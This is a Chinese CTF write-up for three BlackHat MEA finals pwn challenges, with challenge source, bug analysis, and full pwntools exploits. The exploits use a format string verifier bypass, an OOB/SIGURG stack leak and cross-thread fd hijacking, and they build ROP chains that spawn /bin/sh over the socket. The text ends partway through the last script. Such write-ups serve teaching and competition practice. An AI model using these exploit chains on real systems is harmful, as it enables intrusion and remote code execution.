 login(b"\x00", b"\x00") #注意admin的name和password偏移检测和user不一样，所以只能\x00登录
 CLEAR_TEXT("Logged in as admin successfully")

 libc_base = leak_libc()
 CLEAR_TEXT(f"Libc Base: {hex(libc_base)}")
 environ_ptr = leak_qword_via_stdout(libc_base + libc.symbols["environ"]) # Leak Stack
 CLEAR_TEXT(f"Environ Address: {hex(environ_ptr)}")
 pause()

 login_ret = environ_ptr - 0x1b8
 final_stage = orw(login_ret, libc_base)
 stdin_payload = build_stdin_payload(libc_base, login_ret - 2, max(0x800, len(final_stage) + 0x40))

 VIO_TEXT("Sending blind preparation & ORW trigger...")
 io.send(blind_prep(stdin_payload))
 sleep(0.2)
 io.recv()

 io.send(b"5\n" + final_stage + b"\n")
 data = io.recvall()

 if b"flag{" in data or b"dart{" in data:
 CLEAR_TEXT(f"FLAG: {re.search(b'(dart|flag)\\{.*?\\}', data).group(0).decode()}")


if __name__ == "__main__":
 solve()
 io.interactive()

blackhatMEA_finals_WP

Sun, 07 Dec 2025 08:18:00 +0000

day1

pwn

verifmt

a powerful verifier bro,that’s the Verifmt

analysis

保护全开,glibc2.39环境，题目给了源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79


#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int verify_fmt(const char *fmt, size_t n_args) {
 size_t argcnt = 0;
 size_t len = strlen(fmt);

 for (size_t i = 0; i < len; i++) {
 if (fmt[i] == '%') {
 if (fmt[i+1] == '%') {
 i++;
 continue;
 }

 if (isdigit(fmt[i+1])) {
 puts("[-] Positional argument not supported");
 return 1;
 }

 if (argcnt >= n_args) {
 printf("[-] Cannot use more than %lu specifiers\n", n_args);
 return 1;
 }

 argcnt++;
 }
 }

 return 0;
}

int main() {
 size_t n_args;
 long args[4];
 char fmt[256];

 setbuf(stdin, NULL);
 setbuf(stdout, NULL);

 while (1) {
 /* Get arguments */
 printf("# of args: ");
 if (scanf("%lu", &n_args) != 1) {
 return 1;
 }

 if (n_args > 4) {
 puts("[-] Maximum of 4 arguments supported");
 continue;
 }

 memset(args, 0, sizeof(args));
 for (size_t i = 0; i < n_args; i++) {
 printf("args[%lu]: ", i);
 if (scanf("%ld", args + i) != 1) {
 return 1;
 }
 }

 /* Get format string */
 while (getchar() != '\n');
 printf("Format string: ");
 if (fgets(fmt, sizeof(fmt), stdin) == NULL) {
 return 1;
 }

 /* Verify format string */
 if (verify_fmt(fmt, n_args)) {
 continue;
 }

 /* Enjoy! */
 printf(fmt, args[0], args[1], args[2], args[3]);
 }

 return 0;
}

% 后跟数字会直接报错，但是根据

如果我们给出的格式化字符串数量大于给出的4的限制也会直接退出所以要通过*的方式来增加偏移，并且由于是无符号无法向前泄漏

*是一个提取参数的占位符，利用合理的payload, 我们就可以合理的占掉args的参数同时仍然保证控制% 和读取的参数数量仍然在限定数字内

关于泄漏地址可以参考🚀的博客

最后程序会拆分并打印格式化字符串的内容，最多4个
可以注入\0字符绕过verify，然后用hhn覆盖\0
问题是如果只用%*进行参数弹出我们后面的r9 r10寄存器为nil,format限制的个数也会使得leak的地址是nil，因此我们需要%*c来占取掉6个参数，这样我们最后一个%p便可以打印出栈上地址指针并且据此我们可以写出进行写入的函数write_byte(addr,val):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


def send_payload(n_args, args_list, fmt_str):
 io.sendlineafter(b"# of args: ", str(n_args).encode())
 # 填充 args 数组
 for i in range(n_args):
 io.sendlineafter(f"args[{i}]: ".encode(), str(args_list[i]).encode())
 io.sendlineafter(b"Format string: ", fmt_str)

def write_byte(addr, val):
 """
 使用 %*c%hhn 写入 1 字节
 args[0] = 写入值 (width)
 args[1] = 0 (char)
 args[2] = 目标地址 (pointer)
 """
 # 如果要写入 0x00，必须输出 0x100 (256) 个字符，%hhn 截断为 0x00 from小伞
 if val == 0:
 val = 256

 # args[0] = width/value, args[1] = char, args[2] = pointer
 args_write = [val, 0, addr, 0]

 # 构造 Payload: %*c 消耗 args[0], args[1]； %hhn 消耗 args[2]
 # n_args=3 或 4 均可 (我们用 4)
 send_payload(4, args_write, b"%*c%hhn")

最后写入的时候我们通过泄漏出来的栈指针来指向到返回地址进行写入，因为有while所以有足够的写入机会，只要单字节一个个写入地址即可

exp

不知道为什么就本地docker不能通，明明libc拉的就是容器里的

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167


import argparse
import sys

from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
 "mode",
 type=int,
 choices=[0, 1, 2],
 nargs="?",
 default=0,
 help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./chall"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = "localhost"
remote_port = "13337"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]

def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")

if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(
 io,
 gdbscript="""
 """,
 )
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename, checksec=False)
if libc_name:
 libc = ELF(libc_name, checksec=False)
else:
 libc=elf.libc


def send_payload(n_args, args_list, fmt_str):
 io.sendlineafter(b"# of args: ", str(n_args).encode())
 # 填充 args 数组
 for i in range(n_args):
 io.sendlineafter(f"args[{i}]: ".encode(), str(args_list[i]).encode())
 io.sendlineafter(b"Format string: ", fmt_str)


def write_byte(addr, val):
 """
 使用 %*c%hhn 写入 1 字节
 args[0] = 写入值 (width)
 args[1] = 0 (char)
 args[2] = 目标地址 (pointer)
 """
 # 如果要写入 0x00，必须输出 0x100 (256) 个字符，%hhn 截断为 0x00 from小伞
 if val == 0:
 val = 256

 # args[0] = width/value, args[1] = char, args[2] = pointer
 args_write = [val, 0, addr, 0]

 # 构造 Payload: %*c 消耗 args[0], args[1]； %hhn 消耗 args[2]
 # n_args=3 或 4 均可 (我们用 4)
 send_payload(4, args_write, b"%*c%hhn")


# Leak Addresses libc and PIE
VIO_TEXT("Sending payload to leak addresses...")

# 1. Leak Stack Address (使用 3个 %*c 跳过 Nil from RocketMadev blog)
# 预期打印 Arg 7 ([RSP+16] 或附近)
args_leak_stack = [3, 0, 0, 0]
fmt_stack = b"AAAA%*c%*c%*c%p"
send_payload(4, args_leak_stack, fmt_stack)
io.recvuntil(b"AAAA")
io.recvuntil(b"0x")
stack_leak = int(io.recvline().strip(), 16)
CLEAR_TEXT(f"Leaked stack address: {hex(stack_leak)}")

# Arb Read
store_pie_addr = stack_leak - 0x20
args_leak_pie = [0, 0, store_pie_addr, 0]
payload_pie = b"B%*c%sEND"
send_payload(4, args_leak_pie, payload_pie)
io.recvuntil(b"B")
raw_leak_pie = io.recvuntil(b"END", drop=True)
raw_leak_pie = raw_leak_pie.lstrip(b"\x00").strip()
raw_leak_pie = u64(raw_leak_pie[:7].ljust(8, b"\x00"))
pie_base = raw_leak_pie - 0x12F6
CLEAR_TEXT(f"Calculated PIE base address: {hex(pie_base)}")

# Leak Libc 
store_libc_addr = stack_leak + 0x170
args_leak_libc = [0, 0, store_libc_addr, 0]
payload_libc = b"B%*c%sEND"
send_payload(4, args_leak_libc, payload_libc)
io.recvuntil(b"B")
raw_leak_libc = io.recvuntil(b"END", drop=True)
raw_leak_libc = raw_leak_libc.lstrip(b"\x00").strip()
raw_leak_libc = u64(raw_leak_libc[:7].ljust(8, b"\x00"))
pause()
libc_base = (
 raw_leak_libc - 0x2718a
) # __libc_start_call_main+122 的偏移,要微调一下
CLEAR_TEXT(f"Calculated Libc base address: {hex(libc_base)}")

# ROP payload
VIO_TEXT("Constructing ROP chain...")

# 计算返回地址位置
OFFSET_TO_RET = 0x170
ret_addr_ptr = stack_leak + OFFSET_TO_RET
CLEAR_TEXT(f"ROP Chain Start Ptr: {hex(ret_addr_ptr)}")

pop_rdi_ret = pie_base + 0x1282
CLEAR_TEXT(f"pop rdi; ret address: {hex(pop_rdi_ret)}")

bin_sh_addr = libc_base + 0x0000000000196031
CLEAR_TEXT(f"/bin/sh address: {hex(bin_sh_addr)}")
system_addr = libc_base + 0x4C330
exit_addr = libc_base + libc.sym["exit"]
ret_addr = pie_base + 0x101A
CLEAR_TEXT(f"system address: {hex(system_addr)}")
ROP_CHAIN = [
 pop_rdi_ret,
 bin_sh_addr,
 ret_addr,
 system_addr,
]
VIO_TEXT("Writing ROP Chain byte-by-byte...")

current_write_ptr = ret_addr_ptr

for addr in ROP_CHAIN:
 for i in range(8):
 byte_to_write = (addr >> (8 * i)) & 0xFF # 对齐用

 # 写入
 write_byte(current_write_ptr + i, byte_to_write)

 # 移动到下一个地址的起始点
 current_write_ptr += 8

CLEAR_TEXT("ROP Chain written successfully.")

VIO_TEXT("Triggering the overwritten return address...")

# pause()
# 发送非数字字符，使 scanf 失败，main 函数 return，触发 ROP 链
io.sendlineafter(b"# of args: ", b"#")

io.interactive()

StackPrelude

一首前奏曲(Prelude)，准备好迎接不可能的栈溢出挑战吧

analysis

对源码进行分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90


#define _GNU_SOURCE
#include <stdio.h> // 标准输入/输出库，用于 perror
#include <stdlib.h> // 标准库，用于 atoi
#include <netinet/in.h> // 包含 sockaddr_in 结构体和 IP 宏定义
#include <sys/socket.h> // 包含 socket, bind, listen, accept 等函数
#include <sys/types.h> // 包含基本系统数据类型
#include <unistd.h> // 包含 close 函数

int main(int argc, char **argv) {
 // 客户端地址结构体 (cli) 和服务器地址结构体 (addr)，用 {0} 初始化为零
 struct sockaddr_in cli, addr = {0};
 socklen_t clen; // 客户端地址结构体的长度
 int cfd; // 客户端文件描述符 (Client File Descriptor)
 int sfd = -1; // 服务器文件描述符 (Server File Descriptor)，-1 表示未初始化或失败
 int yes = 1; // 用于 setsockopt() 设置选项的值 (开启)
 ssize_t n; // 用于存储接收数据的长度或 recv/send 的返回值
 char buf[0x100]; // 栈缓冲区，大小为 256 字节 (0x100)，用于存放客户端发送的数据
 // 解析命令行参数：如果没有参数，默认端口 31337；否则使用第一个参数作为端口号
 unsigned short port = argc < 2 ? 31337 : atoi(argv[1]);

 // 1. 创建 Socket
 // AF_INET: IPv4 地址族；SOCK_STREAM: TCP 协议（流式套接字）；0: 默认协议
 if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
 perror("socket"); // 输出错误信息
 goto err;
 }

 // 2. 设置 Socket 选项：地址复用
 // SOL_SOCKET: 套接字级别选项；SO_REUSEADDR: 允许重用本地地址，避免 TIME_WAIT 状态导致绑定失败
 // 即使前一个进程在端口上留下了 TIME_WAIT 状态的连接，新进程也能立即启动并重新绑定到该端口，极大地提高了服务器的重启效率。
 if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) < 0) {
 perror("setsockopt(SO_REUSEADDR)");
 goto err;
 }

 // 3. 填充服务器地址结构体
 addr.sin_family = AF_INET;
 // htonl(): 主机字节序转网络字节序 (32位)，INADDR_ANY: 监听本机所有网络接口 (0.0.0.0)
 addr.sin_addr.s_addr = htonl(INADDR_ANY);
 // htons(): 主机字节序转网络字节序 (16位)，设置监听端口
 addr.sin_port = htons(port);

 // 4. 绑定 IP 地址和端口到 Socket
 if (bind(sfd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
 perror("bind");
 goto err;
 }

 // 5. 开始监听连接
 // 将 Socket 设为被动模式，准备接受连接；backlog 参数为 1 (等待连接队列的最大长度)
 if (listen(sfd, 1) < 0) {
 perror("listen");
 goto err;
 }

 // 6. 接受客户端连接
 clen = sizeof(cli);
 // 阻塞等待客户端连接。连接成功后，返回新的文件描述符 cfd 用于通信
 if ((cfd = accept(sfd, (struct sockaddr*)&cli, &clen)) < 0) {
 perror("accept");
 goto err;
 }

 // 7. 进入数据处理循环 (Echo Loop)
 while (1) {
 n = 0;
 // 第一阶段接收：接收数据长度 (ssize_t，通常是 8 字节)
 // MSG_WAITALL: 确保接收到指定字节数 (sizeof(ssize_t)) 后才返回
 recv(cfd, &n, sizeof(ssize_t), MSG_WAITALL);

 // 退出条件：
 // n <= 0: 客户端断开连接或发送无效长度
 // n >= 0x200 (512): 长度超限，但注意：
 if (n <= 0 || n >= 0x200)
 break;

 // 第二阶段接收：根据 n 的大小接收数据到缓冲区 buf
 // MSG_WAITALL: 确保接收到 n 个字节后才返回
 recv(cfd, buf, n, MSG_WAITALL);

 send(cfd, buf, n, 0);
 }

 return 0;

err:
 // 错误处理标签：如果程序在任一阶段失败，跳转到这里
 if (sfd >= 0) close(sfd); // 如果 sfd 已经创建成功，则关闭它
 return 1;
}

这一题的关键在于要如何在让远程在能够大量leak数据的情况下仍能继续进行交互，这里所建立的socket服务器一次只能处理一个请求，服务器会再接受到我们发送的数据以后然后send发送回来
可以简单看一下计算机网络
第一种想法是利用TCP协议的半关闭特性，我们在四次挥手的时候首先发送一个客户端的半闭FIN包，此时不是正常关闭连接使得服务器由于MSG_WAITALL返回0从而关闭cfd，但是这种条件下我们要关闭输入的包，即便能leak数据我们也无法继续交互
~~因此只能pass了~~
第二种想法则是利用中断信号。这里使用OOB（OUT-OF-BAND），在send的时候使用urgent byte从而实现服务器端触发SIGURG信号，由于这是一个异步信号，会打断recv函数，而send依然会返回相同长度的数据并且我们仍然可以继续交互！

交互和exp

先讲讲题目如何进行交互调试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60


parser.add_argument(
 "mode", type=int, choices=[0, 1, 2], nargs="?", default=0,
 help="0=local, 1=local+gdb, 2=remote. (Default: 0)",
)

parser.add_argument(
 "-T", "--threads", type=int, default=None,
 help="Thread count for remote connections (Overrides 'mode')."
)
args = parser.parse_args()
#...
def launch():
 global io, threads
 process_argv=[filename,str(remote_port)]

 # 优先处理多线程模式 (如果 -T 被设置)
 if args.threads is not None:
 if args.threads <= 0:
 raise ValueError("Thread count must be positive.")

 threads = [remote(remote_addr, remote_port, ssl=False) for _ in range(args.threads)]
 CLEAR_TEXT(f"[*] Started {args.threads} remote threads on {remote_addr}:{remote_port}")
 return threads

 elif args.mode == 0:
 io = process(process_argv)
 CLEAR_TEXT("[*] Running on local machine (mode 0)")
 return io

 elif args.mode == 1:
 io = process(process_argv)
 CLEAR_TEXT("[*] Running on local machine with GDB (mode 1)")
 gdb.attach(io, gdbscript="""
 """)
 return io

 elif args.mode == 2:
 io = remote(remote_addr, remote_port)
 CLEAR_TEXT(f"[*] Running on remote: {remote_addr}:{remote_port} (mode 2)")
 return io
 else:
 sys.exit(1)

#...

if __name__ == "__main__":
 target = launch()

 # 判断是否为多线程模式
 if args.threads is not None:
 threads = target
 VIO_TEXT("--- Multi-Threaded Exploit Mode Active ---")
 if threads:
 VIO_TEXT("Entering interactive mode on the first thread for manual control...")
 main(threads)
 else:
 io = target
 VIO_TEXT("--- Single Connection Exploit Mode Active ---")

 io.interactive()

以上是我的脚本，在本地调试的时候首先打开程序和pwndbg并建立一个io ，然后再打开一个新的进程进行连接和交互

1
2


python exp_thread.py 1
python exp_thread.py -T 1

然后就可以在打开了pwndbg的接口进行交互了

具体情况就如图
调试在我们发送数据后打开recv的时候在第二步可以发现如下情况

socket使用fd 4作为固定的交互句柄，如果我们想要在打开shell后进行正常的靶机交互，此处我们还需要尝试使用dup2，将程序交互的fd句柄duplicate到stdout上（或者其他stdin stderr），否则得不到回显，进行的system("/bin/sh")也会直接

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134


import argparse
import sys
from pwn import *
# --------------------------
# 1. 命令行参数定义
# --------------------------
parser = argparse.ArgumentParser(description="Pwn Exploit Script with multi-mode and multi-thread support.")

parser.add_argument(
 "mode", type=int, choices=[0, 1, 2], nargs="?", default=0,
 help="0=local, 1=local+gdb, 2=remote. (Default: 0)",
)
parser.add_argument(
 "-T", "--threads", type=int, default=None,
 help="Thread count for remote connections (Overrides 'mode')."
)
args = parser.parse_args()

# --- 配置信息 ---
filename = "./chall"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = "172.23.0.2" #NOTE:这里要注意不能用docker的回环地址 
remote_port = 5000
# remote_addr = "localhost" 
# remote_port = 13337

context(log_level="info", os="linux", arch=arch)

# 仅在 local/gdb 模式下，且没有使用线程模式时设置 terminal
if args.mode < 2 and args.threads is None:
 context.terminal = ["tmux", "splitw", "-h"]

elf = ELF(filename, checksec=False)
if libc_name:
 libc = ELF(libc_name, checksec=False)

def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")

def launch():
 global io, threads
 process_argv=[filename,str(remote_port)]

 # 优先处理多线程模式 (如果 -T 被设置)
 if args.threads is not None:
 if args.threads <= 0:
 raise ValueError("Thread count must be positive.")

 threads = [remote(remote_addr, remote_port, ssl=False) for _ in range(args.threads)]
 CLEAR_TEXT(f"[*] Started {args.threads} remote threads on {remote_addr}:{remote_port}")
 return threads

 elif args.mode == 0:
 io = process(process_argv)
 CLEAR_TEXT("[*] Running on local machine (mode 0)")
 return io

 elif args.mode == 1:
 io = process(process_argv)
 CLEAR_TEXT("[*] Running on local machine with GDB (mode 1)")
 gdb.attach(io, gdbscript="""
 """)
 return io

 elif args.mode == 2:
 io = remote(remote_addr, remote_port,ssl=False)
 CLEAR_TEXT(f"[*] Running on remote: {remote_addr}:{remote_port} (mode 2)")
 return io
 else:
 sys.exit(1)

# 先python 1启动一个终端进行开启进程和gdb调试，然后再在另一个终端进行数据交互
def main(threads):
 t0:tube
 # 使用第一个线程进行交互泄漏和攻击 
 t0 = threads[0]
 t0.sendline(flat(0x180))
 t0.sock.send(b"A" * 2, constants.MSG_OOB)
 # or 
 # with sock.out_of_band():
 # sock.send(b"A" * 2)
 data=t0.recv()

 canary=int.from_bytes(data[0x108:0x110],"little")
 libc.address=int.from_bytes(data[0x118:0x120],"little")-0x2a1ca

 CLEAR_TEXT(f"[*] Leaked Canary: {hex(canary)}")
 CLEAR_TEXT(f"[*] Leaked Libc Base: {hex(libc.address)}")

 t0.sendline(flat(0x188))

 VIO_TEXT("[*] Sending ROP payload...")
 pop_rdi_ret=libc.address+0x000000000010f78b
 pop_rsi_ret=libc.address+0x0000000000110a7d
 ret_addr=libc.address+0x000000000002882f
 payload=flat({
 0x108-1:canary,
 0x118-1:pop_rdi_ret,
 0x120-1:4, #fd 
 0x128-1:pop_rsi_ret, # 0
 0x138-1:libc.sym['dup2'],
 0x140-1:pop_rdi_ret,
 0x148-1:4,
 0x150-1:pop_rsi_ret,
 0x158-1:1,
 0x160-1:libc.sym['dup2'],
 0x168-1:ret_addr,
 0x170-1:pop_rdi_ret,
 0x178-1:libc.search(b"/bin/sh\x00").__next__(),
 0x180-1:libc.sym['system'],
 },filler=b"\x00").ljust(0x188,b"\x00")
 t0.send(payload)
 t0.sendline(p64(0))
 t0.interactive()

if __name__ == "__main__":
 target = launch()

 # 判断是否为多线程模式
 if args.threads is not None:
 threads = target
 VIO_TEXT("--- Multi-Threaded Exploit Mode Active ---")
 if threads:
 VIO_TEXT("Entering interactive mode on the first thread for manual control...")
 main(threads)
 else:
 io = target
 VIO_TEXT("--- Single Connection Exploit Mode Active ---")
 main([io]) # Wrap io in a list to match the threads parameter
 io.interactive()

tips:

需要注意，当我们要与docker靶机进行交互的时候，不能使用回环地址lo而是要使用本机映射的docker内网IP交互，原因在于使用OOB
docker在映射端口的时候，通常在我们的机子上做了两件事：

设置 iptables 规则：将流量从宿主机端口导向 Docker 桥接网络。
启动 docker-proxy 进程：docker-proxy 或类似的组件（如 userland-proxy）在宿主机上运行，监听宿主机端口，并将流量转发到容器的内部 IP 和端口。而如果我们启动回环地址lo，内核发现目标地址是 127.0.0.1，可能会对 TCP 帧进行优化，跳过校验和等。
数据不会像普通流量一样经历应用->传输->网络->链路，而是在网络层被捕获。docker-proxy在处理回环流量不会完整维护TCP帧和Flags，因此导致OOB攻击在设置URG指针的时候由于基于TCP帧标志被优化而失败，触发不到recv的中断而泄漏数据失败，因此我们必须使用Docker的桥接网络接口

day2

pwn

Stack_Impromptu

The world impossible is not in my dictionary

analysis

保护全开
首先审计源码
main.cpp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <pthread.h>

void fatal(const char *msg) {
 perror(msg);
 pthread_exit(NULL);
}

int server_read(int &fd){
 size_t size;
 char buf[0x40];

 memset(buf, 0, sizeof(buf));
 if (read(fd, &size, sizeof(size)) != sizeof(size)
 || size > 0x100
 || read(fd, buf, size) < size)
 goto err;

 write(fd, buf, size);
 return 0;

err:
 close(fd);
 fatal("Could not receive data (read)");
 return 1;
}

void* server_main(void* arg) {
 int fd = (int)((intptr_t)arg);
 while (server_read(fd) == 0);
 return NULL;
}

int main(int argc, char** argv) {
 pthread_t th;
 struct sockaddr_in cli, addr = { 0 };
 socklen_t clen;
 int cfd, sfd = -1, yes = 1;
 unsigned short port = argc < 2 ? 31337 : atoi(argv[1]);

 if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
 perror("socket");
 goto err;
 }

 if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) < 0) {
 perror("setsockopt(SO_REUSEADDR)");
 goto err;
 }

 addr.sin_family = AF_INET;
 addr.sin_addr.s_addr = htonl(INADDR_ANY);
 addr.sin_port = htons(port);

 if (bind(sfd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
 perror("bind");
 goto err;
 }

 if (listen(sfd, 5) < 0) {
 perror("listen");
 goto err;
 }

 while (1) {
 clen = sizeof(cli);
 if ((cfd = accept(sfd, (struct sockaddr*)&cli, &clen)) < 0) {
 perror("accept");
 goto err;
 }

 pthread_create(&th, NULL, server_main, (void*)((intptr_t)cfd));
 pthread_detach(th);
 }

 return 0;

err:
 if (sfd >= 0) close(sfd);
 return 1;
}

当有一个新连接cfd创建的时候，会正常调用pthread_create，并在使用完后就用pthread_detach将其回收
很明显，是一个多线程的挑战，我们不可能直接尝试在一个线程中leak任何内存的内容，关键在于server_main和server_read

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


int server_read(int &fd){
 size_t size;
 char buf[0x40];

 memset(buf, 0, sizeof(buf));
 if (read(fd, &size, sizeof(size)) != sizeof(size)
 || size > 0x100
 || read(fd, buf, size) < size)
 goto err;

 write(fd, buf, size);
 return 0;

err:
 close(fd);
 fatal("Could not receive data (read)");
 return 1;
}

void* server_main(void* arg) {
 int fd = (int)((intptr_t)arg);
 while (server_read(fd) == 0);
 return NULL;
}

server_read有栈溢出并且会不断被调用，但是就像上一题，这一题可没有MSG_WAITALL来让我们使用中断信号leak信息了

pthread多线程，所有线程都会在一个共同的进程空间内运行，并共享全局变量、堆空间、文件描述符。每个线程仅拥有独立的栈（Stack）！

pthread存在脆弱性，由于内存共享，一个线程的溢出可能会篡改到其他线程的数据，进而导致整个进程被控制、崩溃
这道题我在比赛的时候完全没有思路，严格要求输入的格式和数据大小导致不知道如何实现泄漏，AI也只让我尝试能不能用数据去覆盖到其他线程的内存空间，而且多线程调试也没那么简单，主要是要考虑时序上的交互问题
幸运的是比赛后discord里看到个位解的一位师傅的hint:

那么swap fd具体要怎么做..?—>我们不是有pthread吗!
如果我们能通过多线程但是覆盖掉指定线程的fd，实现fd的劫持，那么是否能实现copy fd并重定向输出，最后实现内存信息的泄漏呢？

fd劫持

我们先尝试使用两个线程来查看是否真的可以劫持fd，创建两个线程

在线程栈2中查看栈底，实际空间如上图，我们完全有足够的空间去覆盖fd

由于取出的是[rbp-0x68]处的qword指针，再二次解析到存储的fd, 所以我们实际要写入0x7c的0后最后覆盖掉fd

如此一来，最后到close的时候实际关闭的则是进程1的fd了

堵塞的绕过

而因为我们实际关闭的是线程2，实际上再次分配的时候仍然是供给线程2的fd而不是复用的4 所以在尝试leak数据前必须要创建出4个线程，最后才能出现两个线程复用fd的情况

leak

这里需要使用到一个TCP重置攻击的方法
由于我们再次获得到了fd=4，而实际上原本最开始创建的线程仍然没有关闭，因此此时会直接向对方发送一个RST包强制关闭连接，而此时第四个线程会再次接手fd=4（极短时间），相当于实现

tcp恢复连接，而这时候对于建立连接的服务器来说恢复了第一个线程的连接，而又因为我们覆盖掉了线程4的fd=1，因此会将栈上的数据发送到线程4的fd=1上，从而实现leak

ROP

之后要如何利用溢出进行ROP以及如何交互？想法其实类似上文:

创建线程，利用覆盖关闭掉一个fd
再次创建线程，此时我们便可以拿到我们需要的fd以及对应的线程控制权
通过标准输入输出进行交互，因此我们基本获取远程shell

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189


import argparse
import socket
import struct
import time
import sys
from pwn import *

parser = argparse.ArgumentParser(description="Sequential start_conion Exploit")
parser.add_argument(
 "mode",
 choices=["0", "1", "2", "t"],
 nargs="?",
 default="0",
 help="0=local, 1=local+gdb, 2=remote, t=direct process (default:0)",
)
args = parser.parse_args()

filename = "./chall"
libc_name = "./libc.so.6"
arch = "amd64"

def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")

def stop(msg="PAUSE", code=91):
 prompt = f"\n\x1b[1;{code}m{msg}\x1b[0m"
 try:
 return raw_input(prompt)
 except EOFError:
 print("")
 pass

context(log_level="info", os="linux", arch=arch)
if args.mode == "1":
 context.terminal = ["tmux", "splitw", "-h"]

elf = ELF(filename, checksec=False)
if libc_name:
 libc = ELF(libc_name, checksec=False)

def start_con():
 if args.mode in ["0", "t"]:
 return remote("127.0.0.1", 31337)
 else:
 return remote("172.20.0.2", 5000)

def main():
 server_proc = None
 if args.mode in ["1"]:
 server_proc = process(filename)
 # gdb.attach(server_proc, gdbscript="""
 # set follow-fork-mode parent
 # b *(main+428)
 # c
 # """)
